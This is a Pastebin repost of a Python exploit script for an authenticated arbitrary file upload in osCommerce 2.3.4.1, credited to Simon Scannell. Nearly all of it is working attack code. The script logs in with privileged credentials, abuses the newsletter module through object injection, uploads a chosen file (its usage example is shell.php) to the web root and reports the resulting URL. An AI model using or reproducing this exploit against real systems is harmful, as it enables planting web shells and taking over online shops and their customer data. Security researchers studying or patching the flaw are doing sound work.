Advertisement
AZZATSSINS_CYBERSERK

osCommerce 2.3.4.1 - Arbitrary File Upload

Dec 1st, 2017
891
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.81 KB | None | 0 0
  1. # Exploit Title: osCommerce 2.3.4.1 Authenticated Arbitrary File Upload
  2. # Date: 11.11.2017
  3. # Exploit Author: Simon Scannell - https://scannell-infosec.net <contact@scannell-infosec.net>
  4. # Vendor Homepage: https://www.oscommerce.com/
  5. # Software Link: https://www.oscommerce.com/Products&Download=oscom234
  6. # Version: 2.3.4.1, 2.3.4 - Other versions have not been tested but are likely to be vulnerable
  7. # Tested on: Linux, Windows
  8.  
  9. """
  10. osCommerce does by default not allow Users to upload arbitrary files from the Admin Panel. However, any user
  11. being privileged enough to send newsletters can exploit an objection injection in the osCommerce core to
  12. upload any file, allowing the user to gain shell access. The user does not need to be an administrator,
  13. any account with access to the newsletters will do.
  14. More details can be found here:
  15.    https://scannell-infosec.net/uploading-a-shell-from-within-the-oscommerce-admin-panel-via-object-injection/
  16. """
  17.  
  18. import urlparse
  19. import argparse
  20. import sys
  21. import requests
  22.  
  23.  
  24. DEFAULT_ADMIN_URL = "/catalog/admin/"
  25. DEFAULT_NEWSLETTER_SCRIPT = "/catalog/admin/newsletters.php"
  26.  
  27.  
  28. # Builds an authenticated session and returns it if it was successful
  29. def authenticate(username, password, url):
  30.     # Build the Session and grab the inital cookie
  31.     session = requests.Session()
  32.     session.get(url + "login.php", allow_redirects=False)
  33.  
  34.     get_params = {'action': "process"}
  35.     data = {"username": username, "password": password}
  36.  
  37.     # Attempt the authentication
  38.     r = session.post(url + "login.php", data=data, params=get_params, allow_redirects=False)
  39.  
  40.     if r.status_code == 302:
  41.         return session
  42.     else:
  43.         return False
  44.  
  45.  
  46. def upload_file(local_filename, session, url):
  47.     newsletter_script = url + "newsletters.php"
  48.     r = session.get(newsletter_script, params={"action": "new"})
  49.  
  50.     payload = {
  51.         'module': 'upload',
  52.         'title': 'uploaded_fname',
  53.         'content': './'
  54.     }
  55.  
  56.     # Create the vulnerable newsletter and grab its ID
  57.     r = session.post(newsletter_script, params={"action": "insert"}, data=payload, allow_redirects=False)
  58.     try:
  59.         newsletter_id = urlparse.urlparse(r.headers['Location']).query[4:]
  60.         print "[+] Successfully prepared the exploit and created a new newsletter with nID %s" % (newsletter_id)
  61.     except:
  62.         print "[-] The script wasn't able to create a new newsletter"
  63.         exit(1)
  64.  
  65.     # Now lock the newsletter
  66.     r = session.post(newsletter_script, params={"action": "lock", "nID": newsletter_id})
  67.     print "[+] Successfully locked the newsletter. Now attempting to upload.."
  68.  
  69.     # Send the final request, containing the file!
  70.     files = {
  71.         'uploaded_fname': open(local_filename)
  72.     }
  73.     r = session.post(newsletter_script, params={"action": "send", "nID": newsletter_id}, files=files)
  74.  
  75.     print "[*] Now trying to verify that the file %s uploaded.." % (local_filename)
  76.  
  77.     shell_url = url + local_filename
  78.     r = requests.get(shell_url)
  79.     print "[+] Got a HTTP 200 Reply for the uploaded file!"
  80.     print "[+] The uploaded file should now be available at %s" % (shell_url)
  81.  
  82.  
  83.  
  84. # Main Routine starts here
  85.  
  86. usage = " %s -u TARGET_URL -a AUTH -f FILE [-p ADMIN_PATH]\n\n" \
  87.         "Example: %s -u http://localhost/path/to/osCommerce --auth=admin:admin_password -f shell.php\n\n" \
  88.         "NOTE: For a more detailed description on the arguments use the -h switch\n\n\n" % (sys.argv[0], sys.argv[0])
  89.  
  90.  
  91. parser = argparse.ArgumentParser(description='\n\nosCommerce 2.3.4 Authenticated Arbitrary File Upload', usage=usage)
  92. parser.add_argument('-u', '--target-url', help='The target URL, including the path to the osCommerce installation (can also be document root /)', required=True)
  93. parser.add_argument('-a', '--auth', help='Credentials for a privileged user in the format of username:password', required=True)
  94. parser.add_argument('-f', '--file', help="The local file to be uploaded to the vulnerable webhost", required=True)
  95. parser.add_argument('-p', '--admin-path', help="The path for the osCommerce Admin Area. This defaults to /catalog/admin/", required=False)
  96. args = parser.parse_args()
  97.  
  98. # Parse username and password
  99. username = args.auth.split(":")[0]
  100. password = args.auth.split(":")[1]
  101.  
  102.  
  103. url = args.target_url
  104. # If the user hasn't passed a path to the osCommerce Admin Panel, use the default
  105. if not args.admin_path:
  106.     url += DEFAULT_ADMIN_URL
  107. else:
  108.     url += args.admin_path
  109.  
  110. # Authenticate the user and establish the connection
  111. session = authenticate(username, password, url)
  112.  
  113. if not session:
  114.     print "[-] The script wasn't able to authenticate itself to osCommerce. Are you sure that the credentials are correct? Is %s the Admin Path?" % (url + "login.php")
  115.     exit(1)
  116. else:
  117.     print "[+] Authentication successful"
  118.  
  119. upload_file(args.file, session, url)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement